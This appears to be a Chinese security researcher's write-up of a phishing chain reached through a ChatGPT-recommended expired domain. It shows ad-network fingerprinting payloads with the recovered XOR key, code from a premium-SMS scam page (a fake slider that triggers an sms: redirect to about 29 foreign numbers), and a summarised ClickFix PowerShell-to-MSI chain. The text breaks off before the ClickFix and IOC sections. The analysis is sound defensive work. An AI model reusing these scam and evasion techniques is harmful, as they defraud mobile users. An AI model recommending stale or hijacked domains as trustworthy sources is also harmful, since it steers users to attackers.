复盘一次由GPT 推荐引出的攻击链
原创 花十一一 2026-10-12 08:15 北京

从一条ChatGPT推荐链接出发,分析完整攻击链路。
一、摘要
笔者在ChatGPT中查询港股递表公司时,回答推荐了一个名为LiveReport的站点 www.livereport.com。该域名历史上是港股数据站,目前已无正常内容。我多次访问后分别落地到三类不同的钓鱼行为:仿冒Cloudflare验证的 ClickFix页面(投递 MSI)、面向中国电信安卓用户的国际短信扣费页、仿冒 VPN 的软件下载站。本文按请求顺序还原钓鱼分发链路,对 ClickFix 命令和短信扣费页源码做详细分析,文末给出此次事件的IOC。
ChatGPT 回答中的 LiveReport 链接│▼www.livereport.com ─── 非浏览器请求:返回 "OK"│▼ 浏览器请求广告流量分发(fhvfd.com → wy903.com,两次指纹采集 + 实时过滤 + 竞价)│├── 手法一:track.cybersafezones.com(BeMob)→ justverify.click 二维码闸门│ └─ 手机扫码 → track.securzones.com → redirzyn.com → land.halumcaprice.com│ └─ 假滑块 → sms: 29 个境外号码 → 问答循环反复发送 → downloadmyappsnow.com APK│├── 手法二:6fp6hs.pulsarflowtech.lol 假 Cloudflare 验证│ └─ 剪贴板写入混淆命令 → cmd → PowerShell → 23.94.145.88 下载 MSI → msiexec 静默安装│└── 手法三:u.33ai.my “安全屋VPN” 下载页
二、入口分析:一个被 AI 记住的旧域名
2.1 ChatGPT 的推荐
查询“港股递表公司”时,ChatGPT给出了港交所披露易、LiveReport、AASTOCKS、IPO Zao四个渠道,对LiveReport的描述是“适合不想逐条翻阅港交所公告、希望直接查看 IPO 名单和状态的情况”。

2.2 域名现状
对该域名做了三项检查:
Google搜索"www.livereport.com"无收录结果,AI概览给出的描述是该域名处于未激活状态,显示coming soon 占位页。

Bing搜索同样无结果,但相关搜索中仍保留“港股通大数据”“livereport 大数据平台”“活报告live report”等关联词,可以确认该域名历史上对应一个港股数据站点。

命令行直接请求,响应体只有 OK:

对爬虫和命令行返回无害内容、只对真实浏览器放行后续跳转。结合以上三点,可以判断该域名已停止原有业务,当前由他人控制并接入流量变现。而大模型的训练语料或检索索引中仍保留着它“港股数据官网”的旧身份,这是本次事件的入口成因。
三、手法一:从二维码引流到国际短信扣费
3.1 现象与链路总览
同一个入口,不同时间访问得到的落地页不同:第一次从 ChatGPT 点击进入的是假 Cloudflare 验证页;之后在地址栏直接访问,得到的是“您的访问受限,请用手机浏览器扫描下面二维码”页面;再次访问则是“安全屋VPN”下载站。
对第二次访问全程抓包,DevTools 的 Initiator 链如下:

按时间顺序整理:
# | 请求 | 方法 | 作用 |
1 | www.livereport.com → getUserInfo | GET | 入口,采集访客基础信息 |
2 | xml-v4.clickpathworks.com/click?i=... | GET | 流量交换节点 |
3 | fhvfd.com/api/submit_form_request?p=<rid>&ts=...&z=11265587 | POST | 第一次指纹采集 |
4 | fhvfd.com/api/sf_touch、fhvfd.com/qlog/add | POST | 打点与日志 |
5 | fhvfd.com/api/win_request | GET | 竞价胜出 |
6 | wy903.com/11861982/?var=livereport.com&ymid=... → sftouch | GET | 进入第二个广告位 |
7 | my.rtmark.net/img.gif?f=merge&userId=... | POST | 用户 ID 合并 |
8 | wy903.com/qlog/add?userId=... | POST | 打点 |
9 | wy903.com/?z=11861982&syncedCookie=false&rhd=false | POST | 第二次指纹采集与在线过滤 |
10 | track.cybersafezones.com/go/<uuid>?cost=0.001087&... | GET | 广告主侧跟踪器(BeMob) |
11 | www.justverify.click/Chinese/Captcha/verifynow_visitor_id?... | GET | 落地页:二维码闸门 |
其中第 3、4、7、8、9 步为 POST 请求,携带了完整的访客指纹。下面按顺序逐个解析。
3.2 第 3 步:fhvfd.com 第一次指纹采集
POST https://fhvfd.com/api/submit_form_request?p=9921d042-54e8-46d0-abb2-60661f347ab1&ts=1791615297&z=11265587
请求体为 URL 表单,解码后如下(adex 字段为加密数据,单独处理):
ad_scheme = 1p = 9921d042-54e8-46d0-abb2-60661f347ab1hil = 1jsp = 1ng = trueix = falsept = falsenp = truenw = truenb = truesw = 1494sh = 934dpr = 1.5pl = https://fhvfd.com/api/submit_form_request?p=9921d042-54e8-46d0-abb2-60661f347ab1&ts=1791615297&z=11265587wy = 0wx = 0ww = 1494wh = 886cw = 1494wiw = 1494wih = 442wfc = 0sah = 886navlng = zh-CNdrf =wgl = ANGLE (Intel, Intel(R) Iris(R) Xe Graphics (0x0000A7A0) Direct3D11 vs_5_0 ps_5_0, D3D11)tb = falsebtz = Asia/Shanghaibto = -480pnt = 0pnrc = 0bml = 1bmi = truevsbl = trueswf = falseos = windowsos_version = 19.0.0is_mobile = falsebrowser_version = 155.0.8059.39adex = {"...": "<加密,见下方解密结果>"}extm = 495
明文字段已包含较完整的环境信息:
屏幕与窗口:屏幕 sw×sh = 1494×934,可用高度 sah = 886,外窗口 ww×wh = 1494×886,页面可视区 wiw×wih = 1494×442,dpr = 1.5。其中 wih 只有 wh 的一半,原因是抓包时 DevTools 停靠在窗口下半部分。外窗口与可视区高度差异常,是识别“打开了开发者工具的访客”的常用依据,也就是说分发方能够感知到分析行为。显卡:wgl 为 ANGLE (Intel, Intel(R) Iris(R) Xe Graphics ...),真实物理显卡。区域:btz = Asia/Shanghai,bto = -480,navlng = zh-CN。系统与浏览器:os = windows,is_mobile = false,browser_version = 155.0.8059.39。这里的四段式版本号来自 UA Client Hints,比 UA 字符串中的 155.0.0.0 更精确。来源:drf(document.referrer)为空,入口页通过脚本跳转,未留下 Referer。hil、jsp、ng、ix、pt、np、nw、nb、vsbl、swf 等为一组布尔检测项,从命名看对应 JS 可用性、页面可见性、插件存在性等,具体含义需要结合采集脚本确认。
adex 字段解密
adex 的值为 {"sync":"TBtSUh8cJhwUBWcf..."}。sync 经 Base64 解码后为不可读的二进制数据。由于明文字段 wgl 中已有显卡型号字符串,可以推断加密内容中必然包含同一字符串,以此作为已知明文反推,得到加密方式为 22 字节密钥循环异或:
key = "7936zdyhub8iy9ajnkr4nm"plain = base64decode(sync)[i] XOR key[i % 22]
密钥固定写在前端采集脚本中,严格说这只是编码混淆。解密后的完整内容如下:
{"adex_tag_version": "248_12_OF","durs": {"ri_rv": 63.6, "rpp": 160, "tzo": 0.3, "ww_wh_wiw_wih_wx_wy_ix_wfc_sah_sh_sw_saw_cw_ch_dpr": 0.7, "ts_detected_mtp": 0.3, "jsua": 0.1, "np_pd": 3.2, "npn": 0.4, "hil": 1.3, "uid": 0.1, "nap": 0, "eval": 0.1, "hc": 0.2, "dm": 0, "rtt": 0.3, "ch_obj": 0.1, "nw_wd": 0.1, "oscpu": 0.1, "hidden": 0.6, "ch_obj_index": 0.6, "win_keys_length": 0.3, "color_depth": 0.2, "vendor": 0, "gamepads": 4.4, "nl_nls": 0.4, "color_gamut": 1.1, "pfl": 0.5, "csi": 0.4, "clt": 8.3, "platform_detector": 1.5, "nes": 0.2, "total": 250.2},"ri": "ANGLE (Intel, Intel(R) Iris(R) Xe Graphics (0x0000A7A0) Direct3D11 vs_5_0 ps_5_0, D3D11)","rv": "Google Inc. (Intel)","rpp": 0,"tzo": -480,"ww": 1494,"wh": 886,"wiw": 1494,"wih": 442,"wx": 0,"wy": 0,"ix": 0,"wfc": 0,"sah": 886,"sh": 934,"sw": 1494,"saw": 1494,"dpr": 1.5,"mtp": 0,"ts_detected": 0,"jsua": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/155.0.0.0 Safari/537.36","np": 1,"pd": "internal-pdf-viewer:isPI;internal-pdf-viewer:isPI;internal-pdf-viewer:isPI;internal-pdf-viewer:isPI;internal-pdf-viewer:isPI;","npn": "PDF Viewer;Chrome PDF Viewer;Chromium PDF Viewer;Microsoft Edge PDF Viewer;WebKit built-in PDF","hil": 1,"uid": null,"nap": "Win32","eval": 33,"hc": 16,"dm": 32,"rtt": 350,"ch_obj": 1,"nw": 1,"wd": false,"oscpu": null,"hidden": false,"ch_obj_index": 208,"win_keys_length": 239,"color_depth": 24,"vendor": "Google Inc.","gamepads": 0,"nl": "zh-CN","nls": "zh-CN,zh,en","color_gamut": "srgb","pfl": "","csi": {"isBotByPageT": 0, "onloadT": 0, "pageT": 3539.358, "startE": 1791615294439, "tran": 15},"clt": {"commitLoadTime": 1791615297.394, "connectionInfo": "http/1.1", "finishDocumentLoadTime": 0, "finishLoadTime": 0, "firstPaintAfterLoadTime": 0, "firstPaintTime": 0, "navigationType": "Other", "npnNegotiatedProtocol": "http/1.1", "requestTime": 1791615294.439, "startLoadTime": 1791615294.439, "wasAlternateProtocolAvailable": false, "wasFetchedViaSpdy": false, "wasNpnNegotiated": true},"platform_detector": {"is_android": false, "is_trident": false, "is_chromium_86_or_newer": true, "is_chromium": true, "is_edge": false, "is_gecko": false, "is_web_kit": false, "is_web_kit_606_or_newer": false, "is_desktop_safari": false, "is_chromium_opera": false},"client_id": "1db9169f-90f4-4b2d-b517-bc47aab19c1f","custom_id_1": "dsp-submit-form","custom_id_2": "livereport.com","traffic_source_id": "11265587","oa_id": "eabba242835c026f1337e47a63483ddb","r_uid": "9921d042-54e8-46d0-abb2-60661f347ab1","method": "jstag","nb": 1,"ng": 1,"pt": 0,"pl": "https://fhvfd.com/api/submit_form_request?p=9921d042-54e8-46d0-abb2-60661f347ab1&ts=1791615297&z=11265587","drf": "","tz": "Asia/Shanghai","pnt": 0,"jsp": 1,"pnrc": 0,"swf": false}
各字段与浏览器 API 的对应关系及检测目的:
字段 | 采集内容(本次取值) | 检测目的 |
ri / rv | WebGL 渲染器 / 厂商(Intel Iris Xe) | 虚拟机、无头浏览器多为 SwiftShader、llvmpipe 等软件渲染 |
jsua / nap | UA 字符串 / navigator.platform(Win32) | 与 Client Hints 交叉校验,识别伪造 UA |
eval | eval.toString().length(33) | Chrome 为 33,Firefox 为 37,用于识别 UA 与内核不一致 |
ch_obj / ch_obj_index | window.chrome 是否存在(1)及其在 window 属性中的位置(208) | 识别无头 Chrome 或伪装成 Chrome 的其他浏览器 |
win_keys_length | Object.keys(window).length(239) | 自动化框架注入全局变量会改变该值 |
wd | navigator.webdriver(false) | Selenium、Puppeteer 默认为 true |
csi / clt | chrome.csi() / chrome.loadTimes() | 仅真实 Chrome 提供的私有 API,isBotByPageT 字段名直接表明用途 |
pd / npn / np | PDF 插件列表(5 项) | 无头模式下插件列表通常为空 |
hc / dm | CPU 核数(16)/ 内存(32GB) | 沙箱与云主机配置特征明显 |
rtt | 网络往返时延(350ms) | 辅助识别机房网络 |
tzo / tz / nl / nls | -480 / Asia/Shanghai / zh-CN,zh,en | 与 IP 地理位置交叉校验,识别代理 |
mtp / ts_detected / platform_detector | 触点数 0 / 无触屏 / 内核判断 | 区分桌面与移动设备,决定后续落地页类型 |
color_depth / color_gamut / gamepads | 24 / srgb / 0 | 增加指纹熵值 |
durs | 各项检测耗时(合计 250ms) | 采集脚本自身的性能统计 |
末尾的标识字段用于关联整条链路:
custom_id_2: "livereport.com":记录流量来源站点;custom_id_1: "dsp-submit-form":本跳为 DSP 侧表单提交;traffic_source_id: "11265587":与 URL 中 z=11265587 一致,即第一个广告位;client_id: "1db9169f-...":反作弊服务的租户标识;r_uid与 URL 参数 p 相同,oa_id 为本跳分配的访客 ID;adex_tag_version: "248_12_OF"、method: "jstag":采集 SDK 版本与接入方式。
3.3 第 4 步:fhvfd.com 日志上报
POST https://fhvfd.com/qlog/add?p_rid=9921d042-54e8-46d0-abb2-60661f347ab1
请求体为 {"sync":"...","async":"..."}。其中 sync 与第 3 步的 adex.sync 逐字节相同,是同一份同步指纹的重复上报。async 为异步采集项,使用同一密钥解密后如下:
{"adex_tag_version": "248_12_OF","durs": {"bat": 24.4, "undefined": 22.3, "hidden_iframe": 62, "mdv": 61.9, "blth": 88.1, "total": 91},"bat": {"is_bat": 1, "charging": 1, "charging_time": 0, "discharging_time": null, "level": 1},"jspf": {"s": "v1", "d": "qqqqqqqqqqqqqgo="},"hidden_iframe": 0,"mdv": {"c": 21},"blth": {"supported": true, "available": true, "reason": null},"client_id": "1db9169f-90f4-4b2d-b517-bc47aab19c1f","custom_id_1": "dsp-submit-form","custom_id_2": "livereport.com","traffic_source_id": "11265587","oa_id": "eabba242835c026f1337e47a63483ddb","r_uid": "9921d042-54e8-46d0-abb2-60661f347ab1","method": "jstag","hints": {"os": "windows", "os_version": "19.0.0", "is_mobile": "false", "browser_version": "155.0.8059.39"}}
异步部分采集的是需要等待 Promise 返回的浏览器能力:
字段 | 采集内容(本次取值) | 检测目的 |
bat | navigator.getBattery():有电池、充电中、电量 100% | 长期满电充电是台式机或虚拟机的常见状态 |
blth | navigator.bluetooth.getAvailability():可用 | 服务器与虚拟机通常无蓝牙 |
mdv | navigator.mediaDevices.enumerateDevices():21 个 | 媒体设备数为 0 常见于沙箱 |
hidden_iframe | 是否位于隐藏 iframe 中(0) | 识别将广告嵌入不可见 iframe 的刷量行为 |
jspf | v1 位图 qqqqqqqqqqqqqgo= | Base64 解码为连续的 0xAA,推测为一组特性探测结果的位图 |
hints | UA Client Hints | 与同步部分 UA 交叉校验 |
3.4 第 5、6 步:竞价胜出与跳转
fhvfd.com/api/win_request 之后,浏览器跳转至:
GET https://wy903.com/11861982/?var=livereport.com&ymid=9921d042-54e8-46d0-abb2-60661f347ab1var 参数再次标明来源站点为 livereport.com,ymid 传递上一跳的访客 ID。
随后请求
wy903.com/sftouch?branchId=0&p_rid=7d5811cb-...&p_src=sf&rb=R2J-tOJb...,此处分配了新的会话 ID p_rid=7d5811cb-...,并首次下发 rb 令牌。
3.5 第 7 步:my.rtmark.net ID 合并
POST https://my.rtmark.net/img.gif?f=merge&userId=0083cb27f7054ca6e7b28c464610b445&z=11861982&p_rid=7d5811cb-3c93-487c-95a1-5822389acfc0&p_src=sf&csflbck=normal_async
请求体为明文,与 URL 参数一致:
f = mergeuserId = 0083cb27f7054ca6e7b28c464610b445z = 11861982p_rid = 7d5811cb-3c93-487c-95a1-5822389acfc0p_src = sfcsflbck = normal_async
该请求以 1×1 像素图片的形式出现,实际功能由 f=merge 决定:将广告网络长期持有的用户 ID(userId=0083cb27...,存放在 rtmark.net 的第三方 Cookie 中)与本次会话 ID(p_rid=7d5811cb...)绑定。此后该访客从任何接入同一网络的站点进入,都能被识别为同一用户,并带着历史画像参与竞价。csflbck=normal_async 推测为 Cookie 同步的回退方式。
3.6 第 8 步:wy903.com 日志上报
POST https://wy903.com/qlog/add?userId=0083cb27f7054ca6e7b28c464610b445&p_rid=7d5811cb-3c93-487c-95a1-5822389acfc0&z=11861982请求体为明文,与 URL 参数一致:
userId = 0083cb27f7054ca6e7b28c464610b445p_rid = 7d5811cb-3c93-487c-95a1-5822389acfc0z = 11861982
用于记录广告位 11861982 上用户与会话的对应关系,是 ID 合并完成后的确认日志。
3.7 第 9 步:wy903.com 第二次指纹采集与在线过滤
POST https://wy903.com/?z=11861982&syncedCookie=false&rhd=false
这是整条链路中数据量最大的请求。请求体解码后如下(rb 截断显示):
rb = R2J-tOJb2C8HpTkLqW5GXoAPhoUKSBJ4UOQsJJRznnRToG3Hxvlvdr6vitKk...(共 440 字符)zone = 11861982hil = 1jsp = 1ng = trueix = falsept = falsenp = truenw = truenb = truesw = 1494sh = 934dpr = 1.5pl = https://wy903.com/11861982/?var=livereport.com&ymid=9921d042-54e8-46d0-abb2-60661f347ab1wy = 0wx = 0ww = 1494wh = 886cw = 1494wiw = 1494wih = 442wfc = 0sah = 886navlng = zh-CNdrf = https://fhvfd.com/wgl = ANGLE (Intel, Intel(R) Iris(R) Xe Graphics (0x0000A7A0) Direct3D11 vs_5_0 ps_5_0, D3D11)tb = falsebtz = Asia/Shanghaibto = -480pnt = 0pnrc = 0bml = 1bmi = truevsbl = trueswf = falseos = windowsos_version = 19.0.0is_mobile = falsebrowser_version = 155.0.8059.39adex = {"...": "<加密,见下方解密结果>"}
与第 3 步相比,明文部分新增了 rb 与 zone;drf 变为 https://fhvfd.com/,留下了上一跳的 Referer;pl 变为 wy903.com/11861982/?var=livereport.com。URL 中的 syncedCookie=false 表明第三方 Cookie 同步未成功,服务端因此依赖第 7 步的 ID 合并与本次指纹来识别访客。
adex 本次同时包含 sync 与 async,使用同一密钥解密。sync:
{"adex_tag_version": "248_12_OF","durs": {"ri_rv": 35.2, "rpp": 32.6, "tzo": 0.1, "ww_wh_wiw_wih_wx_wy_ix_wfc_sah_sh_sw_saw_cw_ch_dpr": 0.1, "ts_detected_mtp": 0, "jsua": 0, "np_pd": 0.1, "hil": 0.2, "uid": 0, "nap": 0, "eval": 0, "hc": 0, "dm": 0, "rtt": 0.1, "ch_obj": 0, "nw_wd": 0, "oscpu": 0, "hidden": 0, "ch_obj_index": 0.2, "win_keys_length": 0.1, "color_depth": 0, "vendor": 0, "gamepads": 0, "nl_nls": 0, "color_gamut": 0.1, "pfl": 0.1, "csi": 0.1, "clt": 0, "platform_detector": 0, "nes": 0, "total": 69.3},"ri": "ANGLE (Intel, Intel(R) Iris(R) Xe Graphics (0x0000A7A0) Direct3D11 vs_5_0 ps_5_0, D3D11)","rv": "Google Inc. (Intel)","rpp": 2,"tzo": -480,"ww": 1494,"wh": 886,"wiw": 1494,"wih": 442,"wx": 0,"wy": 0,"ix": 0,"wfc": 0,"sah": 886,"sh": 934,"sw": 1494,"saw": 1494,"dpr": 1.5,"mtp": 0,"ts_detected": 0,"jsua": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/155.0.0.0 Safari/537.36","np": 1,"pd": "internal-pdf-viewer:isPI;internal-pdf-viewer:isPI;internal-pdf-viewer:isPI;internal-pdf-viewer:isPI;internal-pdf-viewer:isPI;","hil": 1,"uid": null,"nap": "Win32","eval": 33,"hc": 16,"dm": 32,"rtt": 350,"ch_obj": 1,"nw": 1,"wd": false,"oscpu": null,"hidden": false,"ch_obj_index": 208,"win_keys_length": 241,"color_depth": 24,"vendor": "Google Inc.","gamepads": 0,"nl": "zh-CN","nls": "zh-CN,zh,en","color_gamut": "srgb","pfl": "","csi": {"isBotByPageT": 0, "onloadT": 1791615299684, "pageT": 1601.313, "startE": 1791615298222, "tran": 15},"clt": {"commitLoadTime": 1791615299.524, "connectionInfo": "h3", "finishDocumentLoadTime": 1791615299.684, "finishLoadTime": 0, "firstPaintAfterLoadTime": 0, "firstPaintTime": 0, "navigationType": "Other", "npnNegotiatedProtocol": "h3", "requestTime": 1791615298.222, "startLoadTime": 1791615298.222, "wasAlternateProtocolAvailable": false, "wasFetchedViaSpdy": true, "wasNpnNegotiated": true},"platform_detector": {"is_android": false, "is_trident": false, "is_chromium_86_or_newer": true, "is_chromium": true, "is_edge": false, "is_gecko": false, "is_web_kit": false, "is_web_kit_606_or_newer": false, "is_desktop_safari": false, "is_chromium_opera": false},"client_id": "1db9169f-90f4-4b2d-b517-bc47aab19c1f","custom_id_1": "iclick-submit-form-online-filtration","custom_id_2": "livereport.com","traffic_source_id": "11861982","oa_id": "0083cb27f7054ca6e7b28c464610b445","r_uid": "7d5811cb-3c93-487c-95a1-5822389acfc0","method": "jstag","nb": 1,"ng": 1,"pt": 0,"pl": "https://wy903.com/11861982/?var=livereport.com&ymid=9921d042-54e8-46d0-abb2-60661f347ab1","drf": "https://fhvfd.com/","tz": "Asia/Shanghai","pnt": 0,"jsp": 1,"pnrc": 0,"swf": false}async:{"adex_tag_version": "248_12_OF","durs": {"undefined": 7.1, "bat": 19.4, "blth": 21.4, "hidden_iframe": 23.1, "mdv": 23.4, "total": 25.3},"jspf": {"s": "v1", "d": "qqqqqqqqqqqqqgo="},"bat": {"is_bat": 1, "charging": 1, "charging_time": 0, "discharging_time": null, "level": 1},"blth": {"supported": true, "available": true, "reason": null},"hidden_iframe": 0,"mdv": {"c": 21},"client_id": "1db9169f-90f4-4b2d-b517-bc47aab19c1f","custom_id_1": "iclick-submit-form-online-filtration","custom_id_2": "livereport.com","traffic_source_id": "11861982","oa_id": "0083cb27f7054ca6e7b28c464610b445","r_uid": "7d5811cb-3c93-487c-95a1-5822389acfc0","method": "jstag","hints": {"os": "windows", "os_version": "19.0.0", "is_mobile": "false", "browser_version": "155.0.8059.39"}}
两次采集结果的差异如下,设备指纹部分完全一致:
字段 | 第 3 步(fhvfd.com) | 第 9 步(wy903.com) |
custom_id_1 | dsp-submit-form | iclick-submit-form-online-filtration |
traffic_source_id | 11265587 | 11861982 |
r_uid | 9921d042-... | 7d5811cb-... |
oa_id | eabba242... | 0083cb27...(即第 7 步合并的 userId) |
pl / drf | fhvfd.com/... / 空 | wy903.com/11861982/... / https://fhvfd.com/ |
clt.connectionInfo | http/1.1 | h3 |
win_keys_length | 239 | 241 |
durs.total | 250.2ms | 69.3ms |
由此可以得出三点结论:
两个域名使用相同的密钥、相同的 SDK 版本(248_12_OF)和相同的 client_id,背后是同一套反作弊系统的同一个租户。
第二跳的 custom_id_1 为 iclick-submit-form-online-filtration,即“在线过滤”。这一跳的作用是实时剔除机器人、沙箱和分析人员,只将判定为真人的流量交付给下游。
oa_id被替换为第 7 步合并进来的 userId,印证了 ID 合并的作用。
关于 rb:该参数为 440 字符的 Base64URL,解码后 328 字节,信息熵约 7.38 bit/byte,接近随机分布,用上述异或密钥无法解出任何结构。它在第 6 步由服务端下发,在此处由浏览器原样回传,应为服务端加密的状态令牌,内容可能包括竞价结果与目标落地页,客户端无从解密。
3.8 第 10、11 步:交付给广告主
第 9 步的响应将浏览器导向广告主的跟踪器:
GET https://track.cybersafezones.com/go/187a2a2c-fe16-41ca-af04-80a57d2c3733?cost=0.001087&visitor_id=1132679264148403015&zoneid=11861983&bannerid=26894479&country=CN&os=windows&user_activity=high&zone_type=in-page-push

参数含义:
cost=0.001087:本次访问的成交价,约 0.001 美元;country=CN、os=windows、user_activity=high:前两次指纹采集的判定结果;zone_type=in-page-push:广告形式为页内推送;bannerid=26894479:广告主在网络中投放的素材 ID。
track.cybersafezones.com 以 302 跳转至 www.justverify.click/Chinese/Captcha/verifynow_visitor_id.html,再经两次 308 跳转到最终页面。URL 中的 bemobdata 参数属于 BeMob 跟踪器,广告主用它统计转化、结算佣金。


3.9 二维码闸门页
上述分发链路的最终落地页 justverify.click 显示“您的访问受限,请用手机浏览器扫描下面二维码”,底部提示“您可能需要发送短信”。

页面逻辑只有几行:
const visitorId = new URLSearchParams(location.search).get('visitor_id');const qrTargetUrl = 'https://track.securzones.com/go/67dc1517-98e5-4c0b-a5c8-c942a88a4044?visitor_id='+ encodeURIComponent(visitorId || '');new QRCode(qrContainer, { text: qrTargetUrl, width: 200, height: 200 });

引用的 qrcode.min.js 是开源库 qrcodejs,本身无恶意代码。这一页的作用有三点:
短信扣费只能在有 SIM 卡的手机上完成,桌面浏览器无法处理 sms: 协议,需要把用户转移到手机;
目标链接编码在二维码图片中,桌面端安全软件和浏览器 URL 信誉检测无法获取,手机扫码后又脱离了桌面端的防护范围;
visitor_id贯穿桌面点击与手机扫码,使两端行为归因为同一次转化,用于联盟佣金结算。
3.10 跳板
手机扫码后的跳转链:
track.securzones.com/go/67dc1517-...?visitor_id=xxx BeMob 跟踪器,记录扫码└─ redirzyn.com/?cat=2&groupds=240&clientId=676&productId=2853&tracking=...└─ land.halumcaprice.com/?cat=5&groupds=7&clientId=676&productId=2874&af=5002362398404401
redirzyn.com 页面标题为 “APPs Slider”,无实际内容,在 DOMContentLoaded 时通过 location.href 跳转:


为在桌面环境复现手机端流程,后续分析使用 UA 切换插件将浏览器伪装为 Android 10 / Chrome 152:

3.11 落地页结构

落地页 body 限宽 430px,按手机竖屏设计,由两屏和一个弹窗组成:
区域 | 内容 | 作用 |
第一屏 #cont_preg1 | “您好,请拖动滑块以访问以下内容:应用程序,保护和优化您的设备”、“发送短信并验证以访问内容”、滑块 | 假验证,触发第一条短信 |
第二屏 #cont_preg2 | 顶栏“您的下载已就绪”、4 段进度条、“回答问题即可访问下载:”、题目与选项、“跳过 · 查看下一推荐” | 问答循环,触发后续短信 |
“说明”、4 步安装引导、“下载并安装” | APK 下载 |
页脚的收费说明为“下载视频、游戏和应用程序需发送多条短信。本服务并非免费。具体费用请咨询国际短信资费。”,样式为:
.cost_text{font-size:10px;color:var(--txt-sub);margin-bottom:6px;line-height:1.5}10px 浅灰色字体置于页面底部,形式上履行了告知,实际上很难被注意到。
落地页加载时会向 /cdn-cgi/rum 发送两次 POST,这是 Cloudflare Web Analytics 的标准上报,内容为明文 JSON。第一次(eventType: 1,页面加载性能):
{"startTime": 1791624712171,"pageloadId": "4200d8c5-08f5-439d-b7e7-5b150a7560af","eventType": 1,"nt": "navigate","location": "https://land.halumcaprice.com/","referrer": "https://redirzyn.com/","versions": {"fl": "2024.11.0", "js": "2026.10.0", "timings": 2},"bi": {"be": "Blink", "bev": "152", "bv": "152", "ov": "10"},"memory": {"totalJSHeapSize": 4071699, "usedJSHeapSize": 3018283, "jsHeapSizeLimit": 4395630592},"firstPaint": 1764,"firstContentfulPaint": 1764,"timingsV2": {"nextHopProtocol": "h3", "domainLookupStart": 43, "domainLookupEnd": 43, "connectStart": 43, "connectEnd": 43, "secureConnectionStart": 43, "requestStart": 321, "responseStart": 837, "responseEnd": 1152, "domInteractive": 1914, "domComplete": 2290, "loadEventStart": 2290, "loadEventEnd": 2291, "finalResponseHeadersStart": 837, "firstInterimResponseStart": 0, "transferSize": 19980, "decodedBodySize": 72843},"siteToken": "a4372536d8244d648171d1d351b58a4e","st": 2}
第二次(eventType: 3,Core Web Vitals):
{"startTime": 1791624712171,"pageloadId": "4200d8c5-08f5-439d-b7e7-5b150a7560af","eventType": 3,"nt": "navigate","location": "https://land.halumcaprice.com/","referrer": "https://redirzyn.com/","versions": {"js": "2026.10.0", "fl": "2024.11.0"},"bi": {"be": "Blink", "bev": "152", "bv": "152", "ov": "10"},"siteToken": "a4372536d8244d648171d1d351b58a4e","lcp": {"value": 1764, "path": "/", "element": "#cont_preg1>div.verify-title", "size": 18631, "rld": 0, "rlt": 0, "erd": 928, "fp": null},"cls": {"value": 0, "path": "/"},"fcp": {"value": 1764, "path": "/"},"ttfb": {"value": 837, "path": "/"},"st": 1}
其中有三处可用于溯源:referrer 为 https://redirzyn.com/,印证了上一跳;lcp.element 为#cont_preg1>div.verify-title,即滑块页标题,与源码结构吻合;siteToken 为 a4372536d8244d648171d1d351b58a4e,是运营者的 Cloudflare 统计账户标识,同一运营者的其他落地域名可能复用该值。bi.ov(Android 10)、bev(Chrome 152)与伪装的 UA 一致。
3.12 服务端动态生成
分别以桌面和安卓 UA 访问落地页,获得两份源码。逐行比对后,逻辑代码完全相同,差异集中在页面顶部的配置区:
字段 | 桌面访问 | 安卓访问 | 说明 |
af | 5002362388287112 | 5002362398404401 | 访客归因 ID |
code | DIAF | YAWS | 首条短信中的关键词,随机生成 |
sms3 | 我选择的选项是 {respuesta} {af} | 所选答案是 {respuesta} {af} | 短信模板随机抽取 |
sms4 | 我是真实的,我不是机器人 {af} | 我不是机器人,我是真实用户 {af} | 同上 |
loopURL | groupds=138 | groupds=132 | 活动分组 |
deviceOs | pc | android | 服务端按 UA 判定 |
t | 1791614763 | 1791624715 | 页面生成时间戳 |
后端为 PHP 模板(源码注释提到 apps_catalog.json via the cascade in PHP at the top of this file),每次请求重新渲染。关键词和短信文案随机化,接收端可凭“关键词 + af”对账,而拦截方难以依赖固定文案做特征匹配。桌面访问同样会得到完整页面,说明设备筛选由上游的二维码页负责,落地页本身不做限制。
3.13 假滑块
滑块实现如下:
var threshold = 0.85; // 85% = success...function onEnd(e){if(currentX >= maxX * threshold){ onSuccess(); } // 拖动超过 85% 即判定成功else { /* 回弹 */ }}function onSuccess(){...arrows.textContent = '✓';ldMsg.classList.add('show');setTimeout(function(){ triggerStep1(); }, 600);}
同时监听 touch* 与 mouse* 事件,没有轨迹分析,也没有服务端校验。它的实际作用有两个:让用户形成“已经通过验证”的认知;产生一次真实的用户手势,供后续 sms: 跳转使用。
triggerStep1() 中有一段被注释的分支:

function triggerStep1(){origSms = smsStep1;var sms = smsStep1.replace('{code}', code);// if(successRate >= 0 && successRate <= 0.01){// setTimeout(function(){ window.location.href = externOffer; }, 4000);// return;// }sendXhr(sms);}
successRate 由服务端下发,本次为 parseFloat(100)。该分支的含义是:若某批流量的短信转化率不高于 1%,则跳过短信环节,4 秒后转到 externOffer(d.kluxtwo.com,APK 推广)。程序具备按流量质量切换变现方式的能力,当前版本未启用。
3.14 追踪接口与号码下发
页面加载后请求 makeTrackerChina.php,参数如下:
参数 | 取值 | 推测含义 |
a | WEBSMS | 业务类型 |
o / isp | CHINATELECOM / china telecom | 运营商定向,由服务端按 IP 判定后写入页面 |
s / caf / randKey | 均为 af 值 | 访客 ID |
cid / pid | 676 / 2874 | 联盟中的客户 ID / 产品 ID |
c / lang / type | CN / cn / china | 国家模板 |
ua / dev | Android UA / android | 设备信息 |
auto | 0 | 推测为自动发送开关 |
step / next_step / stepds / groupds | 1 / 1 / 1 / 7 | 漏斗步骤与活动分组 |
domain / protocol | land.halumcaprice.com / https | 同一后端可服务多个落地域名 |
enc | 64 位十六进制 | 参数签名,用于防篡改和防伪造请求 |
origSms | 空 | 短信原文回传 |
响应:

{"phoneNumbers": "+32460255667;+37066103006;+37066535620;...(共 29 个)","os": "android","urlContent": "https://land.halumcaprice.com/steps.php?stepds=1&groupds=7&af=...&step=1","codeAF": "LKgARkf"}
滑块完成后执行:
window.location.href = 'sms:' + phones + '?body=' + encodeURIComponent(finalMsg);系统短信应用被拉起,收件人预填 29 个号码,正文为:
我的访问已用我的号码 LKgARkf YAWS 准备好了


多次抓取的号码去重后约 70 个,分布如下:
国家 / 地区 | 区号 | 数量 |
立陶宛 | +370 | 32 |
俄罗斯 | +7(993、969 号段) | 23 |
比利时 | +32(460 号段) | 10 |
